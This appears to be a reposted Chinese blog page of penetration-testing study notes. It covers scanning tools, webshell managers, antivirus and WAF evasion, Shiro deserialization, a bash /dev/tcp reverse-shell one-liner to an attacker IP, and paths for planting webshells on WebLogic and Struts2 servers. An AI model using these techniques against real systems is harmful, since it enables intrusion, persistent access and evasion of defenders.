记一些零碎的只是点和一些安全工具的使用(这里建议将漏洞原理搞清楚,然后可以尝试手动和使用工具)

news2025/1/13 17:26:25

目录

信息收集

扫描端口

工具

nmap

TxPortMap

tideFinger

fscan

漏洞扫描

目录扫描

利群使用

不同系统、不同框架的漏洞

OA

weblogic

Struts2

thinkphp漏洞

shiro

蚁剑使用

更高级的连接工具

免杀类型

主机端的免杀

流量层的免杀

安全设备

主机端安全设备

网站端安全设备

云waf:

软waf

硬waf

冰蝎、哥斯拉

普通木马

内存马

shiro反序列化漏洞

漏洞原理

加密

例子

shiro_attack

反弹shell

Weblogic

CVE-2020-14825

struts 2


信息收集

扫描端口

工具

nmap

扫描较慢

扫描一个常见端口1-2分钟

TxPortMap

使用

.TxPortMap -i IP地址 -p 端口(1-65535)

扫描很快

tideFinger

.tideFinger -h IP地址 -p 端口(1-65535)

fscan

扫描URL: fscan -u http://101.200.86.179:46204/

扫描主机: fscan -h 10.10.10.1

不使用ping扫描:fscan -np  -h 10.10.10.1

收集目录、文件

收集ssh服务

漏洞扫描

afrog -t https://example.com  -o result.html

批量扫描:afrog -T urls.txt

目录扫描

dirsearch

指纹识别插件

woppaluzer

蚁剑冰蝎哥斯拉

利群使用

java -jar 名字

不同系统、不同框架的漏洞

OA

不同OA,OA就是一些协同办公的工具

weblogic

JAVA收费的一个框架

Struts2

也是Java的一个框架

thinkphp漏洞

shiro

也是java的一个安全框架

蚁剑使用

解压蚁剑后,点击第一个文件夹

点击AntSword.exe文件,然后这个文件会让你初始化,初始化点击解压后的文件夹中的第二个文件夹也就是antSword-master,然后就会进行初始化,重启后,就变成下面第二张图

右键添加数据

填写数据,url就是木马文件,c密码就是木马文件中的参数,然后点击添加

再之后就可以通过连接进行一些操作

更高级的连接工具

一句话木马就是比较方便,但是免杀性比较差

免杀类型

主机端的免杀

免杀手段:混淆、加密

免杀后安全设备扫描出来的是一段不可知的字符

流量层的免杀

加密:base64,hex,base32,url

编码:aes,rsa,des

分段传输:将流量分多次传输,这样安全设备识别可能会放过

安全设备

主机端安全设备

360安全管家

腾讯安全助手

火绒

defender

瑞星小狮子

卡巴斯基

麦咖啡

天擎

网站端安全设备

waf:

云waf:

阿里云waf

腾讯云waf

华为云waf

创宇盾

这个云waf1可能在dns解析过程中识别你的数据是否有恶意代码,所以绕过的方式就有可以加密分段传输等等,或者直接输入IP地址,直接访问网站IP地址

软waf

这个就像一个应用程序

D盾:https://www.d99net.net/

安全狗:https://www.safedog.cn/

护卫神:https://www.hws.com/

硬waf

安全设备

亚信waf:设备里面配置了一些防护规则

冰蝎、哥斯拉

哥斯拉对于php木马的免杀做的不是很好,但是使用起来和蚁剑差不多

普通木马

php木马

jsp木马

asp木马

aspx木马

内存马

在内存里面运行的木马

现在很多框架是通过.jar服务启动的httpweb,无法使用普通木马,没办法执行,所以我们通过在内存里注入木马也就是让目标主机运行的过程中在内存里放一段特殊的payload,我们可以通过这段payload可以命令执行

这个东西也不是很好找到,清理的话比较简单,重启服务,通过什么服务启动就重启什么服务,或者重启服务器,重启服务器后内存里面的东西都没有了,所以内存马也不见了

shiro反序列化漏洞

漏洞原理

首先shiro使用java写的一个认证框架,这个东西一般出现在登陆框里面,比如说登陆的账号密码就可能出现shiro,很多人把shiro集成到自己的ava项目中直接使用,但是shiro是通过cookie认证的,cookie认证值是shiro自定义的一个加密方式(aes cbc加密,这个东西需要一个iv和一个key解密),shiro的key存在一个硬编码漏洞,这个key是写死在代码当中,并且项目是开源的我们可以在网上查询key,然后iv也是固定的,如果我们知道了iv和key就可以解开aes加密,然后我们可以通过构造利用链达到命令执行的效果。

shiro是通过jar包启服务,它完全没有通过http服务去启动,它都是集成到一个网站里面使用,所以我们一般是通过一些请求包去发现它的。它没有web服务器,这里没办法上传我们的JSP木马。所以我们上传一个内存马

加密

加密是存在cookie里面的

例子

看到下图中圈的东西可以想到shiro反序列化漏洞

JSESSIONID=jsp session id

当看到JSESSIONID可以想到shiro反序列化漏洞

我们再JSESSION中加这个值

如果回复包出现了,下面字段说明这个网站使用的就是shiro框架

可以使用shiro_attack工具

shiro_attack

使用shiro_attack首先是符合上面操作,填写url,然后爆破密钥,爆破利用链及回显

反弹shell

bash -i >& /dev/tcp/IP/端口 0>&1

bash -i:
启动一个交互式的 Bash shell。-i 选项表示交互式,这使得该 shell 可以接收和发送数据。

>& /dev/tcp/KALI_IP/端口:
这部分是关键,它将 Bash 的标准输入和输出重定向到指定的 TCP 连接。
/dev/tcp/KALI_IP/端口 是 Bash 特有的一个特殊文件路径,用于表示一个 TCP 连接。其中:
KALI_IP 应替换为目标机器(通常是攻击者控制的机器)的 IP 地址。
端口 应替换为监听连接的端口号。

0>&1:
将标准输入重定向到标准输出。这确保了输入数据可以通过网络连接发送给远程主机。

总结工作流程:

当命令执行时,Bash 会尝试连接到指定的 KALI_IP 和 端口,并将当前的 Bash shell 的输入输出流重定向到这个连接。
这种方法通常用于建立反向 shell 连接,使攻击者能够从远程机器上执行命令并接收结果,而无需直接通过传统的正向连接方式。

这个东西就是公网连接公网,私网连接私网

Weblogic

CVE-2020-14825

工具破解

发现如下页面就是weblogic

Weblogic和其他框架不一样,我们要找他的网站根目录在那里放着,才可以上传木马

找木马路径用的方法

find / -name _WL_internal

这里使用工具找到

然后我们要找这个路径下面有哪些文件

选bea_wls_intemal文件夹查看,这里会有一个随机的6位数字文件夹

再去查看随机6位数字文件夹

再看war文件夹下有什么,木马就要放在这里

在之后就可以上传木马了

然后就可以访问了,访问也是有技巧的

访问木马路径如下

/u01/oracle/weblogic/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/六位随机字符/war/你的木马名

也就是IP地址加上标红地方

struts 2

后缀是.do或.action的可能是这个框架如下图

然后就是使用相关工具来打

这个框架和weblogic很相似,也是手动去找路径然后再路径下上传木马,找路径是要通过进程来找

找到tomcat路径

查看tomcat文件夹

查看tomcat下webapps文件夹

查看webapps的ROOT路径

然后就可以上传木马了,这里上传的是冰蝎木马

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1968468.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Docker容器数据库启动,如何用别名JAR jdbc:postgresql://别名:5432/postgres

如果想了解为啥这样做得同学,请去看这个文章 Docker容器网络(七)_host.docker.internal-CSDN博客 因为docker0网络,需要用别名的话,还得在host文件加 dockerIp(172.0.0.2) 别名 怎么查, docker network …

每日一题 ~ LCR 015. 找到字符串中所有字母异位词

. - 力扣(LeetCode) 题目解析 题目要求找出字符串中所有的字母异位词。所谓字母异位词指的是两个字符串中字符出现的次数相同,但顺序可以不同的情况。 思路分析 固定窗口:使用滑动窗口技巧,窗口大小固定为待匹配字…

Latex基本数学公式

LaTeX数学公式入门 LaTeX作为一种广泛使用的排版系统,尤其在学术界和科技领域,以其强大的排版能力和灵活性著称。而它的公式编辑能力更是让人叹为观止,经常与Markdown结合使用,以简化文档编写和公式展示的过程。 LaTeX 公式 L…

数字的位操作——326、504、263、190、191、476、461、477、693

326. 3 的幂(简单) 给定一个整数,写一个函数来判断它是否是 3 的幂次方。如果是,返回 true ;否则,返回 false 。 整数 n 是 3 的幂次方需满足:存在整数 x 使得 n 3x 示例 1: 输入&a…

本地部署持续集成工具Jenkins并配置公网地址实现远程自动化构建

文章目录 前言1. 安装Jenkins2. 局域网访问Jenkins3. 安装 cpolar内网穿透软件4. 配置Jenkins公网访问地址5. 公网远程访问Jenkins6. 固定公网地址 前言 本文主要介绍如何在Linux CentOS 7中安装Jenkins并结合cpolar内网穿透工具实现远程访问管理本地部署的Jenkins服务. Jenk…

DDR等长,到底长度差多少叫等长?

DDR4看这一篇就够了 - 知乎 (zhihu.com) 【全网首发】DDR4 PCB设计规范&设计要点PCB资源PCB联盟网 - Powered by Discuz! (pcbbar.com) 终于看到较为权威的DDR4等长要求了: !!!! 依据这个要求,H616项目的等长线不合格:

JazzEE(2)

JazzEE(2) 8、异常引入try-catchcatch中如何处理异常try-catch-finally多重catch异常的分类throw和throws区别小案例 重载和重写的异常处理自定义异常 9、常用类包装类引入Integer String类String字符串内存 StringBuilder类可变和不可变常见方法StringB…

SpringBoot整合Juint,ssm框架

目录 SpringBoot整合Juint 1.导入相关的依赖 2.创建测试类,使用注解SpringBootTest SpringBoot整合ssm框架 1.使用脚手架创建Spring项目 2.修改pom.xml 我先修改了SpringBoot的版本,修改为2.3.10.RELEASE,因为SpringBoot版本太高会出现…

数据集——鸢尾花介绍和使用

文章目录 一、鸢尾花数据集内容二、使用中常转换DataFrame 一、鸢尾花数据集内容 from sklearn import svm, datasets # 鸢尾花数据 iris datasets.load_iris() print(iris.data) X iris.data[:, :2] # 为便于绘图仅选择2个特征 y iris.target它包含了150个样本&#xff0c…

3.8.语义分割

语义分割 ​ 语义分割将图片中的每个像素分类到对应的类别(有监督学习) 1.图像分割和实例分割 图像分割将图像划分为若干组成区域,这类问题的方法通常利用图像中像素之间的相关性。它在训练时不需要有关图像像素的标签信息,在预测时也无法保证分割出的区…

单细胞数据整合-去除批次效应harmony和CCA (学习)

目录 单细胞批次效应学习 定义 理解 常用的去批次方法-基于Seurat 1) Seurat-integration(CCA) 2) Seurat-harmony 去批次代码 ①Seurat-integration(CCA) ②Seurat-harmony 单细胞批次效应学习 …

【C++进阶学习】第十一弹——C++11(上)——右值引用和移动语义

前言: 前面我们已经将C的重点语法讲的大差不差了,但是在C11版本之后,又出来了很多新的语法,其中有一些作用还是非常大的,今天我们就先来学习其中一个很重要的点——右值引用以及它所扩展的移动定义 目录 一、左值引用和…

AI智驾时代降临,端到端奏响“三重奏”

“追上未来,抓住它的本质,把未来转变为现在”,俄国哲学家车尔尼雪夫斯曾这样描述未来。而走到今天的新能源汽车,其通向未来的本质就是做好智能化。 呐喊智能化的口号,从2023年延续到2024年。如今,智能化的…

如何清理电脑浏览器缓存和内存 macbookpro浏览器怎么清理

浏览器已经成为我们日常生活中不可或缺的工具。然而,随着时间的推移,浏览器缓存的积累可能会逐渐影响我们的上网体验,导致网页加载速度变慢、浏览器运行卡顿等问题。因此,定期清理浏览器缓存变得尤为重要。那么Mac怎么清除浏览器缓…

单元测试之打桩-stub

首先,了解两个单元测试和集成测试的基本概念: 驱动程序/驱动模块(driver),用以模拟被测模块的上级模块。驱动模块在集成测试中接受测试数据,把相关的数据传送给被测模块,启动被测模块。 桩程序…

Kubernetes Prometheus 系列 | AlertManager实现企业微信报警

helm部署prometheusgrafana直通车(与本文章关联) 首先注册企业微信:https://work.weixin.qq.com/ 目录 一、第一种根据企业id,应用secret等绑定二、第二种方式-添加群聊天机器人webhook(推荐) 前言&#x…

滑动窗口专题

前言&#xff1a; ①单调队列模板&#xff08;左边是队头hh&#xff0c;右边是队尾tt&#xff09; 首先维护两个指针hh和tt的位置 常见模型&#xff1a;找出滑动窗口中的最大值/最小值 int hh 0, tt -1; for (int i 0; i < n; i ) {while (hh < tt && check_…

区间DP---多边形 与金字塔

多边形&#xff1a;https://www.acwing.com/problem/content/285/ 其实就是环形的石子合并&#xff0c;只不过由于乘法的存在还要记录一下最大值与最小值。 AC代码&#xff1a; #include <bits/stdc.h> using namespace std; int a[105]; char b[105]; int dpmax[105]…

U盘跨机使用难题:打不开的困境与数据恢复之道

在数字时代&#xff0c;U盘作为我们日常数据交换和存储的重要工具&#xff0c;扮演着不可或缺的角色。然而&#xff0c;当您满怀期待地将U盘插入另一台电脑&#xff0c;却遭遇“无法打开”的尴尬时&#xff0c;那份焦急与无助可想而知。本文将深入探讨“U盘在别的电脑用了后打不…

隐写工具steghide linux编译安装

1、git clone https://github.com/StefanoDeVuono/steghide.git 2、autoreconf -i 3、./configure 4、make 编译完成后再src目录下又steghide执行下程序 报错&#xff1a;configure: error: cannot find required auxiliary files: compile时需要执行autoreconf 如果往j…